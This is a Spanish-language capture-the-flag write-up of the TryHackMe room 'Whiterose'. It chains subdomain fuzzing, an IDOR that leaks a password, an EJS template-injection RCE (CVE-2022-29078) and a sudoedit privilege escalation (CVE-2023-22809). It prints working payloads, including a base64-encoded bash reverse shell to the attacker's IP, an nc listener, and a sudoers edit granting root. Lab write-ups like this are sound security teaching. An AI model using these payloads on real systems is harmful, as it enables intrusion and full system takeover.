// TryHackMe — CTF Writeup

WHITEROSE

#linux #web #idor #ejs-ssti #sudoedit
// 01

RECONOCIMIENTO — Escaneo de puertos

Se lanza un escaneo completo para descubrir la superficie de ataque.

escaneo inicial
nmap -sV -sC -p 80,443 10.10.x.x
PUERTO ESTADO SERVICIO VERSIÓN
22/tcp OPEN SSH OpenSSH 7.6p1
80/tcp OPEN HTTP nginx 1.14.0

El servidor web redirige a cyprusbank.thm. Se añade al /etc/hosts y se enumera en busca de subdominios:

fuzzing de subdominios
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -u http://cyprusbank.thm/ -H "Host: FUZZ.cyprusbank.thm" \ -fw 1
resultado
admin [Status: 302, Size: 28] www [Status: 200, Size: 1]

Se descubre el subdominio admin.cyprusbank.thm y se añade al /etc/hosts. Accediendo a él aparece un panel de login.

// 02

ACCESO INICIAL — Credenciales del panel

Las credenciales iniciales de la sala permiten acceder al panel admin como Olivia Cortez. Una vez dentro, la función de búsqueda de clientes en /search muestra los teléfonos censurados para este rol.

Superficie visible
El panel expone las rutas /search, /messages y /settings. La ruta /messages acepta un parámetro ?c= que controla cuántos mensajes del chat se muestran.
// 03

IDOR — Lectura de mensajes privados

El parámetro ?c= de /messages no valida que los mensajes pertenezcan al usuario autenticado. Decrementando el valor hasta c=0 se accede a una conversación privada que contiene las credenciales de un usuario con más privilegios.

petición vulnerable
GET /messages?c=0 HTTP/1.1 Host: admin.cyprusbank.thm Cookie: connect.sid=...
resultado
Gayle Bev: La contraseña nueva es p~]P@5!6;rs558:q
IDOR — Insecure Direct Object Reference
El servidor confía ciegamente en el parámetro c para seleccionar el historial de chat sin verificar si el usuario tiene permisos para verlo. Cambiando el valor a 0 se recupera el historial completo desde el inicio.

Con las credenciales de Gayle Bev se inicia sesión. Este usuario tiene un rol superior que permite ver los teléfonos sin censurar en /search y acceder al endpoint /settings.

TELÉFONO Tyrell Wellick — visible en /search tras login como Gayle
// 04

EJS SSTI → RCE — CVE-2022-29078

El endpoint /settings permite cambiar la contraseña de cualquier cliente. El valor del campo password se refleja en la respuesta, lo que llama la atención para XSS o SSTI.

Eliminando el parámetro password del POST, el servidor devuelve un error que revela el motor de plantillas:

error del servidor
Error: /home/web/app/views/settings.ejs >> 1| <!DOCTYPE html> ...

La aplicación usa EJS (Embedded JavaScript). EJS en versiones anteriores a 3.1.7 es vulnerable a inyección de código a través del parámetro settings[view options][outputFunctionName], que se inserta sin sanitizar en el código de la plantilla compilada.

CVE-2022-29078 — EJS Prototype Pollution → RCE
Si la aplicación Express pasa req.body directamente como argumento de datos a res.render(), un atacante puede inyectar opciones de EJS a través de parámetros anidados tipo settings[view options][...]. La opción outputFunctionName se concatena directamente al código JS generado por EJS sin ningún filtrado, permitiendo ejecución arbitraria de código Node.js.

La inyección es ciega — el output del comando no se refleja en la respuesta HTTP. Para confirmar el RCE se puede usar un ping a la máquina atacante antes de lanzar la reverse shell.

payload — reverse shell via base64 (sin + para evitar conflictos con URL encoding)
POST /settings HTTP/1.1 Host: admin.cyprusbank.thm Content-Type: application/x-www-form-urlencoded Cookie: connect.sid=... name=Gayle+Bev&password=test&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('echo YmFzaCAtaT4mL2Rldi90Y3AvVFVfSVAvNDQ0NCAwPiYx | base64 -d | bash');s
Truco clave — Evitar el + en base64
El body de un formulario (application/x-www-form-urlencoded) interpreta + como espacio. Si el base64 de la reverse shell contiene +, el comando llega corrupto al servidor y falla. La solución es generar la shell sin espacios para obtener un base64 sin +: bash -i>&/dev/tcp/IP/PORT 0>&1 en lugar de bash -i >& /dev/tcp/...
listener
nc -lvnp 4444
shell recibida
web@cyprusbank:~/app$
USER FLAG /home/web/user.txt
// 05

PRIVILEGE ESCALATION — CVE-2023-22809 (sudoedit)

Revisando los privilegios sudo del usuario web:

sudo -l
(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm

La versión de sudo instalada es 1.9.12p1, anterior a 1.9.12p2, lo que la hace vulnerable a CVE-2023-22809. Esta vulnerabilidad permite inyectar archivos arbitrarios en la lista de ficheros que sudoedit abrirá, a través de la variable de entorno EDITOR.

CVE-2023-22809 — sudoedit bypass
sudoedit analiza el contenido de la variable EDITOR para lanzar el editor. Si el valor contiene -- /ruta/archivo, sudo añade ese archivo a la lista de ficheros a editar sin validar si está permitido en la política. Esto permite editar cualquier archivo del sistema como root.
explotación — inyectar /etc/sudoers como fichero extra
export EDITOR="vim -- /etc/sudoers" sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm

Vim abre ambos archivos. Se navega al /etc/sudoers y se añade la siguiente línea al final:

/etc/sudoers — línea añadida
web ALL=(ALL:ALL) NOPASSWD: ALL

Se guarda con :wq y se escala a root:

escalada
sudo su
root@cyprusbank:/home/web/app#
ROOT FLAG /root/root.txt
// RESUMEN

CADENA DE ATAQUE

01
Subdominio Admin
Fuzzing de subdominios revela admin.cyprusbank.thm. Login con credenciales iniciales como Olivia Cortez
02
IDOR en /messages
El parámetro ?c=0 expone un chat privado con la contraseña de Gayle Bev, usuario con rol superior
03
EJS SSTI → RCE (CVE-2022-29078)
El body de /settings se pasa sin filtrar a res.render(). Inyección de outputFunctionName permite ejecución de código Node.js arbitrario → reverse shell como web
04
sudoedit bypass (CVE-2023-22809)
Variable EDITOR inyecta /etc/sudoers como archivo extra. Se añade web ALL=(ALL:ALL) NOPASSWD: ALLsudo su
Root
Shell completa como root — flags obtenidas